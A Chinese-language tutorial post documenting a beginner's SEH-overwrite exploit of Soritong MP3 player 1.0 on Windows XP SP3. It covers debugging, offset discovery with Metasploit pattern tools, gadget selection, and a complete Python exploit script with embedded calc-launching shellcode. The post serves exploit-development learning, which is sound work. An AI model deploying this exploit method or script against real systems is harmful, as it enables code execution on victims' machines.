-
-
[原创]EXP编写学习 之 SEH利用 (二)
-
2022-4-29 21:25 8541
-
前言
我是逆向练习生,羽墨。
我正在从0开始学习二进制漏洞,如果你也跟我一样,不妨来看看小白学习的第一视角
环境配置
软件 | 版本 |
---|---|
虚拟环境 | windows xp sp3 |
漏洞软件 | Soritong MP3 player 1.0 上传到附件了 |
调试器 | windbg xp版 , x32dbg |
反汇编 | IDA |
SEH基础知识
1.windbg随便加载一个程序,命令dt _TEB , 偏移0处的数据 就是SEH链表 (需要有ntdll符号 我没记错的话,ld *ntdll 即可下载,前提是配置好符号服务器)
1 2 3 4 5 6 7 8 9 10 11 12 13 | _TEB + 0x000 NtTib : _NT_TIB / / SEH链表 0 : 000 > dt _NT_TIB ntdll!_NT_TIB + 0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD / / SEH链表结构 下一个结构的指针与回调函数的地址 0 : 000 > dt _EXCEPTION_REGISTRATION_RECORD ntdll!_EXCEPTION_REGISTRATION_RECORD + 0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD + 0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION |
2.SEH的链表结构如上所示, Next代表下一个SEH结构 ,Handler 代表本函数内的异常处理例程
3.SEH是以函数为单位,也就是一个函数只能有一个SEH结构,如果本函数内的异常处理例程没有处理这个异常,则去寻找Next记录的下一个SEH结构,如果最后都没有处理,就交给系统的默认异常处理
4.系统的默认异常处理, Next 为FFFFFFFF , Handler 为系统默认处理例程,也就是会给你弹一个框,并结束进程
5.SEH会在函数入口注册,函数出口注销,会出现有关fs:[0]的操作 , 简单点说就是把上述的SEH记录指向自己在栈中的SEH结构,然后自己再指向原来的SEH结构
测试漏洞
1.用py生成一个测试文件
1 2 3 4 5 6 7 8 9 | #!/usr/bin/python # -*- coding: UTF-8 -*- char = b "\x41" * 5000 Fileptr = open (r 'UI.txt' , 'wb+' ) Fileptr.write(char) Fileptr.close() print ( "CreatFile Success" ) |
2.把这个文件替换 skin\default\UI.txt ,然后打开程序 ,默默的崩溃了,输入!exchain 查看, SEH结构被覆盖了
漏洞分析
1.用x32dbg打开程序运行,异常断下,可以看到断在 422E33处,好的,在这个地址下断,重新调试 断下来后单步运行
查看栈中数据,距离ESP最近的异常处理为 终极异常,再查看触发异常的指令,mov byte ptr [eax],dl , 查看寄存器, 把dl的值放入eax的地址。
2.单步运行后,发现esi寄存器指向了一串A字符,继续运行发现这是一个循环,把esi的值拷贝到栈上,并且判断是否为0x0A 0x0D,如果是则跳出循环
之前崩溃时eax的值为130000 , 栈底的地址ebp为12Fxxx , 拉到栈的最下面,发现将近130000,但是没到,所以可以推断,崩溃原因为把数据放到了无效的内存地址,触发访问异常
3.循环时取消断点,直接运行,再次断下
如果你按的时候看一眼下边,会发现先出现异常位于422E33 ,然后再按F9 ,异常位于41414141,根据之前的推测,在触发访问异常后,程序进入了异常处理流程,但是异常处理例程为无效地址,所以又触发了异常,程序崩溃
4.查看SEH链,发现是在栈中 12FD64的位置, 崩溃时在往 130000的位置赋值,已经超过了。所以可以断定,这个漏洞可以利用SEH来进行利用
漏洞利用
1.在程序进入41414141地址时的异常断下别动,查看栈中的数据
可以看到,返回地址为ntdll的某个地址,之后紧跟之前的SEH结构地址12FD64,并且看到这个系统函数也注册了SEH,且指向我们原来的SEH结构(栈上的数据为异常处理例程的一些参数,不展开分析了)
1 2 3 4 5 6 7 | / / 异常处理函数模型 EXCEPTION_DISPOSITION __cdecl _except_handler( _In_ struct _EXCEPTION_RECORD * _ExceptionRecord, _In_ void * _EstablisherFrame, _Inout_ struct _CONTEXT * _ContextRecord, _Inout_ void * _DispatcherContext ); |
2.利用思路
所以现在我们有了一个利用思路,在异常处理函数中构造 pop pop ret , 刚好把EIP覆盖为 12FD64 ,然后在12FD64处 ,写入短跳转指令,越过Handler,执行shellcode 。
好的, 简单描述一下
1 2 3 4 | addr: 12FD64 | Next JMP 12FD6C 越过 4 个字节 addr: 12FD68 |Handler pop pop ret 指令的地址 addr: 12FD6C |NOP addr: 12FD70 |Shellcode |
3.精确覆盖SEH
这里就需要使用msf的 pattern的那两个工具了 ,打开kali
1 2 | cd / usr / share / metasploit - framework / tools / exploit . / pattern_create.rb - l 5000 > / home / kali / Desktop / UI.txt |
把这个txt,替换,打开漏洞程序,第一次异常时断下,查看SEH链
可以看到 Handler = 41367441 Next = 35744134 , 接下来去kali 确定偏移
1 2 3 4 5 | . / pattern_offset.rb - q 41367441 - l 5000 [ * ] Exact match at offset 588 . / pattern_offset.rb - q 35744134 - l 5000 [ * ] Exact match at offset 584 |
好的 现在得到了偏移量, Next offset为 文件偏移584 处 , Handler offset 为 文件偏移588处
4.主食准备好了,还需要一些小菜,
- pop pop ret 指令的地址
- 需要的机器码
用x32dbg搜索吧,也挺好用的,同时在调试器中,确定一下机器码
选中一个地址 右键 汇编, 输入想要的指令 确定
好的,得到了pop pop ret 机器码, 58 5B C3
然后相同的方法,在422E40输入,jmp 0x422E44 ,得到了 EB 02 ,好的,其实这个指令不对, 跳转指令是从指令开始的地址计算的,所以机器码02为指令结束后 跳过两个字节
所以我们需要输入 jmp 0x422E46 ,得到 EB 04 , 好的, 其实还不对 (手动笑嘻嘻)
因为短跳指令只有两个字节, 但是 需要覆盖的地方是 四个字节,那么怎么办, 填两个90 也就是nop指令 ,那跳转指令再跳过去两个字节,就是 EB 06 了
好的,现在来手动修改栈中的值,看看什么情况
内存窗口转到这个地址,准备修改的时候发现,这个数据好像反了。。 没错 ,就是这样,x86架构CPU为小端序存储数据,简单的说,就是读一个int值,那么要以字节为单位,从右到左读 , 也就是 35 74 41 34 ,栈中的数据已经被调试器转换过了
那么应该怎么覆盖这个位置的数据 , 覆盖为 EB 06 90 90 即可 , 什么? 我没有转换字节序?
好的好的,其实不需要转换 , 读指令是正着读的(手动狗头保命)
现在还需要一个rop rop ret指令序列的地址 , 刚才已经得到了机器码 ,58 5B C3 ,在X32dbg 搜索一波,最好搜索程序自带模块
如果搜不到 更换指令序列,这里我使用了 5F 5E C3 ,地址为1001E812
说一下注意的东西 , 地址不能有NULL ,且模块没开启safeSEH ,后面遇到再分析 ,本例使用程序自带模块即可
同时,结合之前的漏洞分析, 如果文本中有 0xA (\n)0xD(\r) 就会停止复制 , 所以EXP中不能出现 0x00 0x0A 0x0D
5.请出pycharm,写出最后的EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | #!/usr/bin/python # -*- coding: UTF-8 -*- prefix = b '\x41' * 584 prefix2 = b '\x42' * 2000 #最后的填充,不然触发不了异常。。。 Next = b '\xEB\x06\x90\x90' Handler = b '\x12\xe8\x01\x10' #地址要小端序 因为地址作为一个dword值读取 nops = b '\x90' * 20 #shellcode为已经精心构造后的弹出calc指令(只限 xp sp3),遇到需要编码的时候会再研究 shellcode = \ b "\x55\x8B\xEC\x33" \ b "\xC0\x50\xB8\x2E" \ b "\x65\x78\x65\x50" \ b "\xB8\x63\x61\x6C" \ b "\x63\x50\x8B\xC4" \ b "\x6A\x05\x50\xB8" \ b "\xAD\x23\x86\x7C" \ b "\xFF\xD0\x33\xC0" \ b "\x50\xB8\xFA\xCA" \ b "\x81\x7C\xFF\xD0" \ b "\x8B\xE5\x5D\x33" Fileptr = open (r 'UI.txt' , 'wb+' ) Fileptr.write(prefix + Next + Handler + nops + shellcode + prefix2) Fileptr.close() print ( "CreatFile Success" ) |
6.生成EXP ,打开测试 , 弹出计算器,由于我的Shellcode最后调用了ExitProcess 所以没有弹出崩溃窗口
结语
1.如果你是新手,跟着笔者的文字叙述与图片,一步一步来,不懂的时候,迷茫的时候先别着急,一不小心就走入岔路了
2.篇幅虽少,但是应该说明白了,笔者的文章风格,是尽可能的用最少的文字,让读者轻松的学会这个知识(遇到一个知识点就展开讨论,会增加理解负担,并且文字太多也会加重阅读负担,这也是我坚持传图片的原因,传图片真的很累。。。)
3.文章中的一些小细节需要读者自己去尝试并总结,相信对你会有帮助
参考资料
看雪 EXP编写系列教程 第三章
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。